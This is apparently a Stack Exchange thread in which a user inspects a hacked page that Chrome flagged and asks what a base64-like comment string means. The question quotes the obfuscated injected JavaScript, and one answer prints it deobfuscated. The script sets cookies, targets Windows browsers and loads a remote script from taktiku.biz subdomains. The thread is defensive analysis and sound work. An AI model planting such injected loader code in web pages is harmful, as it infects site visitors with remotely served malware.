2

Chrome just warned me about malicious content when visiting a site - so I visited it.

The source code is like the following:

<html>
<head>
<link href="images/DPT2.ico" title="Dynamic PowerTrainer Manager" rel="shortcut icon">
<title>Dynamic PowerTrainer Manager</title>
</head>
<frameset rows="94,*" border="0" frameborder="0" framespacing="0">  <!-- Frameset-Definition -->
  <frame src="header.jsp" name="header"  frameborder="0" marginwidth="0" marginheight="0" noresize>
  <frame src="login.jsp" name="main"  frameborder="0" marginwidth="0" marginheight="0" noresize>

  <noframes>
    Your browser doesn't support frames. You can not see this page.
  </noframes>
</frameset>
<ad><script type='text/javascript'>document.write(unescape('%3C%73%63%72%69%70%74%3E%76%61%72%20%61%3D%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%68%6F%70%3D%22%2B%65%73%63%61%70%65%28%22%68%6F%70%22%29%2B%22%3B%70%61%74%68%3D%2F%22%3B%76%61%72%20%62%3D%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%2C%63%3D%22%20%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2C%64%3D%6E%75%6C%6C%2C%65%3D%30%2C%66%3D%30%3B%69%66%28%63%2E%6C%65%6E%67%74%68%3E%30%29%7B%65%3D%63%2E%69%6E%64%65%78%4F%66%28%22%20%68%6F%70%3D%22%29%3B%69%66%28%65%21%3D%2D%31%29%7B%65%2B%3D%35%3B%66%3D%63%2E%69%6E%64%65%78%4F%66%28%22%3B%22%2C%65%29%3B%69%66%28%66%3D%3D%2D%31%29%66%3D%63%2E%6C%65%6E%67%74%68%3B%64%3D%75%6E%65%73%63%61%70%65%28%63%2E%73%75%62%73%74%72%69%6E%67%28%65%2C%66%29%29%7D%7D%20%69%66%28%64%3D%3D%22%68%6F%70%22%26%26%62%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%22%77%69%6E%22%29%21%3D%2D%31%26%26%61%2E%69%6E%64%65%78%4F%66%28%22%68%69%70%22%29%3D%3D%2D%31%29%7B%76%61%72%20%67%3D%5B%22%6B%65%67%22%2C%22%6B%65%69%22%2C%22%6B%65%6E%22%2C%22%6B%65%70%22%2C%22%6B%65%76%22%2C%22%6B%65%78%22%2C%22%6B%65%79%22%2C%22%6B%68%69%22%2C%22%6B%69%64%22%2C%22%6B%69%66%22%5D%2C%68%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%67%2E%6C%65%6E%67%74%68%29%3B%64%74%3D%6E%65%77%20%44%61%74%65%3B%64%74%2E%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%2B%38%45%37%29%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%68%69%70%3D%22%2B%65%73%63%61%70%65%28%22%68%69%70%22%29%2B%22%3B%65%78%70%69%72%65%73%3D%22%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%22%3B%70%61%74%68%3D%2F%22%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%27%2B%67%5B%68%5D%2B%27%2E%5C%78%37%34%5C%78%36%31%5C%78%36%62%5C%78%37%34%5C%78%36%39%5C%78%36%62%5C%78%37%35%5C%78%32%65%5C%78%36%32%5C%78%36%39%5C%78%37%61%2F%68%65%6C%70%2F%64%61%74%61%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%7D%3B%3C%2F%73%63%72%69%70%74%3E'));</script></ad>
<b1><!--8m3vp_oyeNrTzy8o0S/Jz01OLNEvT01KLCgo1k8pKMlNzEtMTy3Sz8lPz8yLTytKzE3VyyousLW1NTQ0NTY0NjQzMgcAmuYUjw==--></b1></body></html>

I'm aware of the obfuscated string - it's some javascript stuff, playing with cookies and loading an external script from taktiku.biz

But what's the meaning of the String 8m3vp_oyeNrTzy8o0S/Jz01OLNEvT01KLCgo1k8pKMlNzEtMTy3Sz8lPz8yLTytKzE3VyyousLW1NTQ0NTY0NjQzMgcAmuYUjw==? Or: are there common reasons to place such a string on injected pages?

Improve this question
2
  • The end of it looks like base64, but I can't decode it. Maybe the translation table has been modified. I'm also guessing that the first part (8m3vp) is an identifier of some kind, since the underscore is not usually part of base64 outputs. That being said, it may be difficult to know more without looking at the application that actually fetches this encoded data.
    – executifs
    Apr 16, 2014 at 11:56
  • I also tried to decode it using base64 - no luck :/ But the idea with the identifier is an interesting thought.
    – stuXnet
    Apr 16, 2014 at 12:01

2 Answers 2

Reset to default
1

It seems to be something added by a malicious bot that's installed on the server. See Strange <b1> HTML Tag on PhpFreaks forums. It includes some tips on how to remove the malware.

The line 

<b1><!--8m3vp_oyeNrTzy8o0S/Jz01OLNEvT01KLCgo1k8pKMlNzEtMTy3Sz8lPz8yLTytKzE3Vyyo‌​usLW1NTQ0NTY0NjQzMgcAmuYUjw==--></b1>

has also been added by the malware. The forum post has no conclusive answer to what's it for, though... It might be encoded FTP credentials so the JavaScript code that's downloaded from taktiku.biz can use it to upload more files to the server.

Improve this answer
0
2

When looking at the JavaScript that is written to the document, I see nothing that accesses the comment.

The JavaScript code: 
var a = document.cookie; document.cookie = "hop=" + escape("hop") + ";path=/"; var b = navigator.appVersion,
    c = " " + document.cookie,
    d = null,
    e = 0,
    f = 0; if (c.length > 0) {
    e = c.indexOf(" hop=");
    if (e != -1) {
        e += 5;
        f = c.indexOf(";", e);
        if (f == -1) f = c.length;
        d = unescape(c.substring(e, f))
    } } if (d == "hop" && b.toLowerCase().indexOf("win") != -1 && a.indexOf("hip") == -1) {
    var g = ["keg", "kei", "ken", "kep", "kev", "kex", "key", "khi", "kid", "kif"],
        h = Math.floor(Math.random() * g.length);
    dt = new Date;
    dt.setTime(dt.getTime() + 8E7);
    document.cookie = "hip=" + escape("hip") + ";expires=" + dt.toGMTString() + ";path=/";
    document.write('<script type="text/javascript" src="http://' + g[h] + '.\x74\x61\x6b\x74\x69\x6b\x75\x2e\x62\x69\x7a/help/data.js"><\/script>') };

So, I suspect the string in the comment simply looks like Base64 but does in fact nothing at all, and may just have been put there to annoy security researchers because they can't decode it.

Anyway, I wrote a bit of JavaScript that removes characters from the beginning of the string and decodes it if it is valid Base64; however, it only comes up with garbled text.

var str=prompt();while(str.length){
  try{
    var decoded=atob(str);
    prompt("Base64 string "+str+" decoded:",decoded);
  }
  catch(ex){
    
  }
  str=str.substring(1)
}

Of course, the string may also be some kind of identifier used by the malware creator, or used in some other way.

I can't rule out the possibility that this is encrypted data either, because good encryption produces data that looks entirely random.

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .